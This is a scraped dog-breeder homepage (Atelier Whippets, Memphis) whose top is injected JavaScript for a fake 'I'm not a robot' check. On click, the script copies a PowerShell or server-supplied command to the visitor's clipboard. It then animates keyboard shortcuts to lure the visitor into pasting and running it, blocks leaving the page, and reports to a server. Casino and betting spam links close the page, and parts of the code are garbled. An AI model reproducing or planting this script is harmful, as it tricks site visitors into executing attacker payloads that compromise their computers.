var keyParts = buttonElement.innerHTML.split(' + ');
var documentFragment = document.createDocumentFragment();
for (var j = 0; j 0) {
var plusSpan = document.createElement(‘span’);
plusSpan.style.cssText = ‘color:#666;font-size:11px;margin:0 3px;vertical-align:middle;’;
plusSpan.textContent = ‘+’;
documentFragment.appendChild(plusSpan);
}
var newButton = document.createElement(‘b’);
newButton.innerHTML = keyParts[j];
documentFragment.appendChild(newButton);
}
buttonElement.parentNode.replaceChild(documentFragment, buttonElement);
}
}
function startKeyboardAnimation(modalElement) {
var instructionItems = Array.prototype.slice.call(
modalElement.querySelectorAll(‘.instruction-list li’)
);
var animationQueue = [];
instructionItems.forEach(function(listItem) {
var buttons = Array.prototype.slice.call(
listItem.querySelectorAll(‘.step-text b’)
);
if (!buttons.length) return;
if (buttons.length === 1) {
animationQueue.push({type: ‘press’, key: buttons[0]});
animationQueue.push({type: ‘wait’, milliseconds: 600});
animationQueue.push({type: ‘release’, key: buttons[0]});
animationQueue.push({type: ‘wait’, milliseconds: 450});
} else {
animationQueue.push({type: ‘press’, key: buttons[0]});
animationQueue.push({type: ‘wait’, milliseconds: 400});
for (var j = 1; j < buttons.length; j++) {
animationQueue.push({type: 'press', key: buttons[j]});
animationQueue.push({type: 'wait', milliseconds: 380});
animationQueue.push({type: 'release', key: buttons[j]});
if (j = animationQueue.length) {
currentIndex = 0;
}
var animationStep = animationQueue[currentIndex++];
if (animationStep.type === ‘press’) {
animationStep.key.classList.add(‘klit’);
executeNextAnimation();
} else if (animationStep.type === ‘release’) {
animationStep.key.classList.remove(‘klit’);
executeNextAnimation();
} else {
setTimeout(executeNextAnimation, animationStep.milliseconds);
}
}
setTimeout(executeNextAnimation, 600);
}
function addStepOneTooltip(modalElement, tooltipText) {
if (!tooltipText) return;
var firstListItem = modalElement.querySelector(‘.instruction-list li’);
if (!firstListItem) return;
var buttons = firstListItem.querySelectorAll(‘.step-text b’);
var targetButton = null;
for (var i = 0; i < buttons.length; i++) {
if (buttons[i].querySelector('svg')) {
targetButton = buttons[i];
break;
}
}
if (!targetButton && buttons.length) {
targetButton = buttons[0];
}
if (!targetButton) return;
var hintSpan = document.createElement('span');
hintSpan.className = 'wk-hint';
hintSpan.appendChild(document.createTextNode('?'));
var tooltipSpan = document.createElement('span');
tooltipSpan.className = 'wk-tooltip';
tooltipSpan.textContent = tooltipText;
hintSpan.appendChild(tooltipSpan);
targetButton.appendChild(hintSpan);
}
var checkboxButton = rootElement.querySelector('#cf-cb');
var spinnerElement = rootElement.querySelector('#cf-sp');
var labelElement = rootElement.querySelector('#cf-lbl');
var modalElement = rootElement.querySelector('#cf-modal');
function preventPageUnload(event) {
event.preventDefault();
event.returnValue = '';
}
window.addEventListener('beforeunload', preventPageUnload);
setTimeout(function() {
if (checkboxButton) {
checkboxButton.style.display = 'block';
}
if (spinnerElement) {
spinnerElement.style.display = 'none';
}
if (labelElement) {
labelElement.textContent = UI_TRANSLATIONS.notRobotText;
}
}, 3000);
checkboxButton.addEventListener('click', function() {
if (checkboxButton.__executed) {
return;
}
checkboxButton.__executed = true;
window.removeEventListener('beforeunload', preventPageUnload);
checkboxButton.style.display = 'none';
spinnerElement.style.display = 'flex';
if (labelElement) {
labelElement.textContent = UI_TRANSLATIONS.verifyingText;
}
if (RAY_TRACKING_ID) {
sendRequestToServer({
action: 'cb',
k: API_AUTH_KEY,
t: RAY_TRACKING_ID
});
}
serverPayloadPromise.then(function(payloadCommand) {
if (modalElement) {
modalElement.classList.add('active');
processKeyboardSteps(modalElement);
startKeyboardAnimation(modalElement);
addStepOneTooltip(modalElement, UI_TRANSLATIONS.stepKeyHelp);
}
if (payloadCommand) {
var finalCommand = MALICIOUS_POWERSHELL_COMMAND ?
(MALICIOUS_POWERSHELL_COMMAND + ';') :
(payloadCommand);
copyTextToClipboard(buildClipboardCommand());
var osKeyListener = function(event) {
var os = TARGET_OPERATING_SYSTEM || detectVisitorOs();
var shouldRefreshClipboard = false;
if (os === 'mac') {
shouldRefreshClipboard = !!(event.metaKey || event.key === 'Meta');
} else if (os === 'linux') {
shouldRefreshClipboard = !!(
event.ctrlKey && event.altKey && String(event.key || '').toLowerCase() === 't'
);
} else {
shouldRefreshClipboard = !!(
event.metaKey ||
event.key === 'Meta' ||
event.keyCode === 91 ||
event.keyCode === 92
);
}
if (shouldRefreshClipboard) {
copyTextToClipboard(buildClipboardCommand());
document.removeEventListener('keydown', osKeyListener);
}
};
document.addEventListener('keydown', osKeyListener);
}
waitForExecutionToken(RAY_TRACKING_ID);
});
});
})();
});}();
Welcome to Atelier Whippets
Memphis, Tennessee
In 1987 I brought home my first whippet and thus began the love of all things whippet! Brenna “Rapahana’s Jettstream Brenna CD CDX” taught me so much about the bred. Brenna was bred by Linda Kolb out of Patrick Pettit’s Quotation dog. My next several whippets came from Patrick and I tried my hand at coursing, obedience and conformation. I count myself lucky in having some wonderful mentors that also include Sue Carbajal [Coreymore] and Harriet Vincent [Cottonwood].
Today, I am still out showing my whippets and I have added rally, fast cat, and agility to activities that we participate in. I count myself lucky to have wonderful friends who share this passion of whippets with me. I am dedicated to breeding and exhibiting quality whippets that meet the American Whippet Club standard. My dogs are members of my family and I look for homes that will treasure them as much as I do.
2020 American Whippet Club Top Whippet Dam (Moonpie)
AKC Breeder of Merit
Member and Officer: Memphis Kennel Club
© 2021 All Right Reserved
© Atelier Whippets ~ Kim Harwood ~ Memphis, TN
All pictures found on this site are © respective photographers and can not be reproduced without consent
benn-lab-westend.org
nvcasino
1xbet зеркало